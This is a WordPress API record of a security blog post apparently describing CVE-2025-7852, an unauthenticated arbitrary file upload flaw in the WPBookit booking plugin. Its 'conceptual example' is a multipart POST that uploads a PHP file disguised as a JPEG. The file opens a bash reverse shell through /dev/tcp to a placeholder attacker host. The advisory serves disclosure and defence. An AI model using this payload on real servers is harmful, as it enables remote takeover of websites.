{"id":59741,"date":"2025-07-30T00:59:16","date_gmt":"2025-07-30T00:59:16","guid":{"rendered":""},"modified":"2025-08-31T21:18:58","modified_gmt":"2025-09-01T03:18:58","slug":"cve-2025-7852-arbitrary-file-upload-vulnerability-in-wpbookit-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-7852-arbitrary-file-upload-vulnerability-in-wpbookit-plugin-for-wordpress\/","title":{"rendered":"<strong>CVE-2025-7852: Arbitrary File Upload Vulnerability in WPBookit Plugin for WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-7852 is a critical security vulnerability that affects the WPBookit plugin for WordPress, which is used widely for managing bookings on WordPress sites. This vulnerability allows unauthenticated attackers to upload arbitrary files on the server of an affected site due to a lack of file type validation in the image_upload_handle() function. The severity of this vulnerability lies in the fact that it can potentially lead to a system compromise and data leakage, making it a significant threat for any <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7401-critical-file-read-write-vulnerability-in-premium-age-verification-restriction-for-wordpress-plugin\/\"  data-wpil-monitor-id=\"66517\">WordPress site running the vulnerable<\/a> version of the WPBookit plugin.<br \/>\nThe <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47998-severe-heap-based-buffer-overflow-vulnerability-in-windows-routing-and-remote-access-service\/\"  data-wpil-monitor-id=\"68975\">vulnerability has been attributed a high CVSS severity<\/a> score of 9.8, highlighting the urgent need for affected users to apply the vendor patch or use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation measures.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-7852<br \/>\nSeverity: Critical (CVSS: 9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21432-memory-corruption-vulnerability-resulting-in-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"77312\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-871320477\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>WPBookit <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5835-droip-plugin-for-wordpress-unauthorized-access-and-modification-vulnerability\/\"  data-wpil-monitor-id=\"68974\">Plugin for WordPress<\/a> | Up to and including 1.0.6<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52809-php-remote-file-inclusion-vulnerability-in-national-weather-service-alerts\/\"  data-wpil-monitor-id=\"65946\">vulnerability stems from an insecure file<\/a> upload handler function within the WPBookit plugin. Specifically, the image_upload_handle() function, which is hooked via the &#8216;add_new_customer&#8217; route, lacks adequate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40737-critical-file-path-validation-vulnerability-in-sinec-nms\/\"  data-wpil-monitor-id=\"66624\">file type validation<\/a>. This makes it possible for an unauthenticated attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7340-critical-arbitrary-file-upload-vulnerability-in-ht-contact-form-widget-for-wordpress\/\"  data-wpil-monitor-id=\"66340\">upload any type of file<\/a> without restriction. The function calls move_uploaded_file() on client\u2010supplied files without restricting allowed extensions or MIME types, nor sanitizing the filename. This allows an attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6058-critical-arbitrary-file-upload-vulnerability-in-wpbookit-wordpress-plugin\/\"  data-wpil-monitor-id=\"66459\">upload a malicious file<\/a>, potentially leading to the execution of arbitrary code on the server.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3941787435\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42959-unauthenticated-replay-attack-exploiting-hmac-reuse\/\"  data-wpil-monitor-id=\"77313\">attacker might exploit<\/a> this vulnerability. It illustrates a malicious HTTP POST request that an attacker could use to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54439-unrestricted-file-upload-vulnerability-in-samsung-electronics-magicinfo-9-server\/\"  data-wpil-monitor-id=\"67004\">upload a script disguised as an image file<\/a>.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/add_new_customer HTTP\/1.1\nHost: vulnerable-wordpress-site.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;evil.php.jpg&quot;\nContent-Type: image\/jpeg\n&lt;?php exec(&#039;\/bin\/bash -i &gt;&amp; \/dev\/tcp\/attacker-ip\/8080 0&gt;&amp;1&#039;); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker attempts to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54444-unrestricted-file-upload-leading-to-code-injection-in-samsung-electronics-magicinfo-9-server\/\"  data-wpil-monitor-id=\"67219\">upload a file<\/a> named &#8220;evil.php.jpg. Although it appears to be an image file, it is actually a PHP script that, once uploaded and executed, can give the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-9408-server-side-request-forgery-attack-in-eclipse-glassfish\/\"  data-wpil-monitor-id=\"77311\">attacker remote control over the server<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-7852 is a critical security vulnerability that affects the WPBookit plugin for WordPress, which is used widely for managing bookings on WordPress sites. This vulnerability allows unauthenticated attackers to upload arbitrary files on the server of an affected site due to a lack of file type validation in the image_upload_handle() function. The severity of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59741","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59741","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=59741"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59741\/revisions"}],"predecessor-version":[{"id":69673,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59741\/revisions\/69673"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=59741"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=59741"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=59741"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=59741"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=59741"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=59741"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=59741"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=59741"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=59741"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}